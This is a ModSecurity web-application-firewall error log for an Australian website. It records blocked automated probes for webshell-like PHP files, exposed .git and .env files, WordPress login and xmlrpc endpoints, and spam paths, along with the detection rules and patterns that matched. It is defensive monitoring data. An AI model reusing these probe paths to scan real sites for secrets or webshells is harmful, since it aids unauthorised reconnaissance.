[Thu Apr 16 07:21:55.333492 2026] [:error] [pid 57639:tid 57667] [client 4.231.201.132:7944] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aeAdk6MCQoTw7TsxWunXswAAANU"]
[Thu Apr 16 07:21:55.875955 2026] [:error] [pid 57537:tid 57592] [client 4.231.201.132:18147] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ew.php"] [unique_id "aeAdk1VQRS8nm73ENAk-YAAAAFE"]
[Thu Apr 16 07:21:56.596838 2026] [:error] [pid 57639:tid 57655] [client 4.231.201.132:8137] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ew.php"] [unique_id "aeAdlKMCQoTw7TsxWunXtwAAAMk"]
[Thu Apr 16 07:21:57.380160 2026] [:error] [pid 57536:tid 57570] [client 4.231.201.132:18112] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ew.php"] [unique_id "aeAdlSQU4faGja6jpDuJ0wAAABY"]
[Thu Apr 16 07:21:58.189135 2026] [:error] [pid 49094:tid 49102] [client 4.231.201.132:8027] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ew.php"] [unique_id "aeAdljbDwvcXorHR_MywfwAAAUY"]
[Thu Apr 16 07:21:58.914537 2026] [:error] [pid 49094:tid 49103] [client 4.231.201.132:18056] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file21.php"] [unique_id "aeAdljbDwvcXorHR_MywiwAAAUc"]
[Thu Apr 16 07:21:59.525456 2026] [:error] [pid 57538:tid 57625] [client 4.231.201.132:18088] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file21.php"] [unique_id "aeAdl8uMaiEF5SVR2BdIpgAAAJc"]
[Thu Apr 16 07:22:00.275212 2026] [:error] [pid 57538:tid 57623] [client 4.231.201.132:8048] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file21.php"] [unique_id "aeAdmMuMaiEF5SVR2BdIqAAAAJU"]
[Thu Apr 16 07:22:01.083542 2026] [:error] [pid 57639:tid 57668] [client 4.231.201.132:8190] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file21.php"] [unique_id "aeAdmaMCQoTw7TsxWunXuAAAANY"]
[Thu Apr 16 07:22:01.818973 2026] [:error] [pid 49094:tid 49099] [client 4.231.201.132:18142] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class19.php"] [unique_id "aeAdmTbDwvcXorHR_MywmwAAAUM"]
[Thu Apr 16 07:22:02.580944 2026] [:error] [pid 49094:tid 49113] [client 4.231.201.132:18076] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class19.php"] [unique_id "aeAdmjbDwvcXorHR_MywoQAAAVE"]
[Thu Apr 16 07:22:03.170096 2026] [:error] [pid 49094:tid 49096] [client 4.231.201.132:18062] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class19.php"] [unique_id "aeAdmzbDwvcXorHR_MywpgAAAUA"]
[Thu Apr 16 07:22:03.868318 2026] [:error] [pid 49094:tid 49109] [client 4.231.201.132:8175] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class19.php"] [unique_id "aeAdmzbDwvcXorHR_MywqgAAAU0"]
[Thu Apr 16 07:22:04.472674 2026] [:error] [pid 49094:tid 49116] [client 4.231.201.132:18094] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class20.php"] [unique_id "aeAdnDbDwvcXorHR_MywrgAAAVQ"]
[Thu Apr 16 07:22:05.140539 2026] [:error] [pid 57536:tid 57553] [client 4.231.201.132:7999] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class20.php"] [unique_id "aeAdnSQU4faGja6jpDuJ1AAAAAU"]
[Thu Apr 16 09:00:09.140826 2026] [:error] [pid 57538:tid 57605] [client 43.166.129.247:41062] [client 43.166.129.247] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aeA0mcuMaiEF5SVR2BdirwAAAIM"]
[Thu Apr 16 09:54:17.129657 2026] [:error] [pid 49094:tid 49108] [client 14.215.163.132:54464] [client 14.215.163.132] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aeBBSTbDwvcXorHR_MzyOwAAAUw"]
[Thu Apr 16 11:23:37.529320 2026] [:error] [pid 57639:tid 57667] [client 147.135.212.200:45024] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aeBWOaMCQoTw7TsxWulY_wAAANU"]
[Thu Apr 16 11:23:39.887701 2026] [:error] [pid 49094:tid 49104] [client 147.135.212.200:41964] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aeBWOzbDwvcXorHR_MwN2gAAAUg"]
[Thu Apr 16 11:23:42.297084 2026] [:error] [pid 57538:tid 57608] [client 147.135.212.200:41970] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aeBWPsuMaiEF5SVR2Bd9xAAAAIY"]
[Thu Apr 16 11:23:44.739746 2026] [:error] [pid 29603:tid 29613] [client 147.135.212.200:41986] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aeBWQFfGOR6fpTWUAzol1wAAAQg"]
[Thu Apr 16 11:23:47.160025 2026] [:error] [pid 57538:tid 57602] [client 147.135.212.200:53618] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aeBWQ8uMaiEF5SVR2Bd9yQAAAIA"]
[Thu Apr 16 11:23:49.575195 2026] [:error] [pid 29603:tid 29623] [client 147.135.212.200:53624] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aeBWRVfGOR6fpTWUAzol3gAAARI"]
[Thu Apr 16 11:23:51.990956 2026] [:error] [pid 57536:tid 57566] [client 147.135.212.200:53638] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aeBWRyQU4faGja6jpDutrAAAABI"]
[Thu Apr 16 11:23:54.534308 2026] [:error] [pid 29603:tid 29613] [client 147.135.212.200:53650] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aeBWSlfGOR6fpTWUAzol4gAAAQg"]
[Thu Apr 16 11:23:56.945464 2026] [:error] [pid 57536:tid 57572] [client 147.135.212.200:51190] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aeBWTCQU4faGja6jpDutrgAAABg"]
[Thu Apr 16 11:23:59.395029 2026] [:error] [pid 29603:tid 29616] [client 147.135.212.200:51202] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aeBWT1fGOR6fpTWUAzol9AAAAQs"]
[Thu Apr 16 11:24:01.813560 2026] [:error] [pid 57639:tid 57669] [client 147.135.212.200:51216] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aeBWUaMCQoTw7TsxWulZBAAAANc"]
[Thu Apr 16 11:24:04.237264 2026] [:error] [pid 57537:tid 57591] [client 147.135.212.200:51228] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aeBWVFVQRS8nm73ENAlpLwAAAFA"]
[Thu Apr 16 11:24:06.612024 2026] [:error] [pid 57639:tid 57662] [client 147.135.212.200:51242] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aeBWVqMCQoTw7TsxWulZDAAAANA"]
[Thu Apr 16 11:24:09.021498 2026] [:error] [pid 7880:tid 7903] [client 147.135.212.200:53978] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aeBWWaaezm4fSGc0yUL-tgAAAZI"]
[Thu Apr 16 11:24:11.596143 2026] [:error] [pid 57639:tid 57655] [client 147.135.212.200:53982] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aeBWW6MCQoTw7TsxWulZDQAAAMk"]
[Thu Apr 16 11:24:14.026814 2026] [:error] [pid 29603:tid 29624] [client 147.135.212.200:53990] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aeBWXlfGOR6fpTWUAzomCQAAARM"]
[Thu Apr 16 11:24:16.433427 2026] [:error] [pid 7880:tid 7888] [client 147.135.212.200:54004] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aeBWYKaezm4fSGc0yUL--AAAAYM"]
[Thu Apr 16 11:24:26.111968 2026] [:error] [pid 49094:tid 49120] [client 147.135.212.200:48616] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aeBWajbDwvcXorHR_MwOAQAAAVg"]
[Thu Apr 16 11:24:28.407484 2026] [:error] [pid 29603:tid 29617] [client 147.135.212.200:38896] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aeBWbFfGOR6fpTWUAzomEgAAAQw"]
[Thu Apr 16 11:24:30.945763 2026] [:error] [pid 57536:tid 57562] [client 147.135.212.200:38912] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aeBWbiQU4faGja6jpDuttAAAAA4"]
[Thu Apr 16 11:24:33.503515 2026] [:error] [pid 57639:tid 57648] [client 147.135.212.200:38918] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aeBWcaMCQoTw7TsxWulZeQAAAMI"]
[Thu Apr 16 11:37:55.218794 2026] [:error] [pid 49094:tid 49097] [client 98.93.160.221:34884] [client 98.93.160.221] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "aeBZkzbDwvcXorHR_MwRFQAAAUE"]
[Thu Apr 16 11:41:56.799360 2026] [:error] [pid 57639:tid 57664] [client 98.93.160.221:37530] [client 98.93.160.221] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/config"] [unique_id "aeBahKMCQoTw7TsxWuleDAAAANI"]
[Thu Apr 16 12:14:19.859145 2026] [:error] [pid 57537:tid 57596] [client 172.71.144.44:10649] [client 172.71.144.44] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aeBiG1VQRS8nm73ENAlvoAAAAFU"]
[Thu Apr 16 12:52:57.211275 2026] [:error] [pid 7880:tid 7885] [client 43.166.129.247:54346] [client 43.166.129.247] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aeBrKaaezm4fSGc0yUIiLAAAAYA"]
[Thu Apr 16 13:18:40.274671 2026] [:error] [pid 7880:tid 7899] [client 122.161.79.54:28520] [client 122.161.79.54] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.161.79.54, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aeBxMKaezm4fSGc0yUIntwAAAY4"], referer: https://vetstars.com.au/
[Thu Apr 16 13:39:47.672468 2026] [:error] [pid 57537:tid 57577] [client 152.42.239.209:50170] [client 152.42.239.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 152.42.239.209, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aeB2I1VQRS8nm73ENAl5lwAAAEI"]
[Thu Apr 16 13:39:50.190159 2026] [:error] [pid 57639:tid 57665] [client 152.42.239.209:50475] [client 152.42.239.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 152.42.239.209, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aeB2JqMCQoTw7TsxWumNRwAAANM"]
[Thu Apr 16 13:39:52.194025 2026] [:error] [pid 57639:tid 57666] [client 152.42.239.209:50475] [client 152.42.239.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 152.42.239.209, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aeB2KKMCQoTw7TsxWumNSgAAANQ"], referer: https://vetstars.com.au/wp-login.php
[Thu Apr 16 13:49:57.518430 2026] [:error] [pid 57639:tid 57656] [client 152.42.239.209:55355] [client 152.42.239.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 152.42.239.209, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aeB4haMCQoTw7TsxWumRlwAAAMo"], referer: https://vetstars.com.au/wp-login.php
[Thu Apr 16 13:49:59.737420 2026] [:error] [pid 57639:tid 57658] [client 152.42.239.209:55355] [client 152.42.239.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 152.42.239.209, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aeB4h6MCQoTw7TsxWumRmAAAAMw"], referer: https://vetstars.com.au/wp-login.php
[Thu Apr 16 14:11:05.752974 2026] [:error] [pid 57536:tid 57567] [client 122.161.79.54:29718] [client 122.161.79.54] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.161.79.54, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aeB9eSQU4faGja6jpDvk0QAAABM"], referer: https://vetstars.com.au/
[Thu Apr 16 16:19:49.396535 2026] [:error] [pid 57639:tid 57656] [client 182.44.2.148:35084] [client 182.44.2.148] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aeCbpaMCQoTw7TsxWunVswAAAMo"]
[Thu Apr 16 18:11:03.173911 2026] [:error] [pid 29603:tid 29617] [client 172.70.240.188:11763] [client 172.70.240.188] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.production"] [unique_id "aeC1t1fGOR6fpTWUAzplVAAAAQw"]
[Thu Apr 16 18:11:04.276065 2026] [:error] [pid 49094:tid 49114] [client 172.71.164.40:11723] [client 172.71.164.40] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.test"] [unique_id "aeC1uDbDwvcXorHR_MxyuQAAAVI"]
[Thu Apr 16 18:11:04.383485 2026] [:error] [pid 49094:tid 49107] [client 40.127.211.84:8576] [client 40.127.211.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.dev"] [unique_id "aeC1uDbDwvcXorHR_MxyugAAAUs"]
[Thu Apr 16 18:11:04.391697 2026] [:error] [pid 57639:tid 57655] [client 172.71.144.49:10174] [client 172.71.144.49] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.development"] [unique_id "aeC1uKMCQoTw7TsxWukVpAAAAMk"]
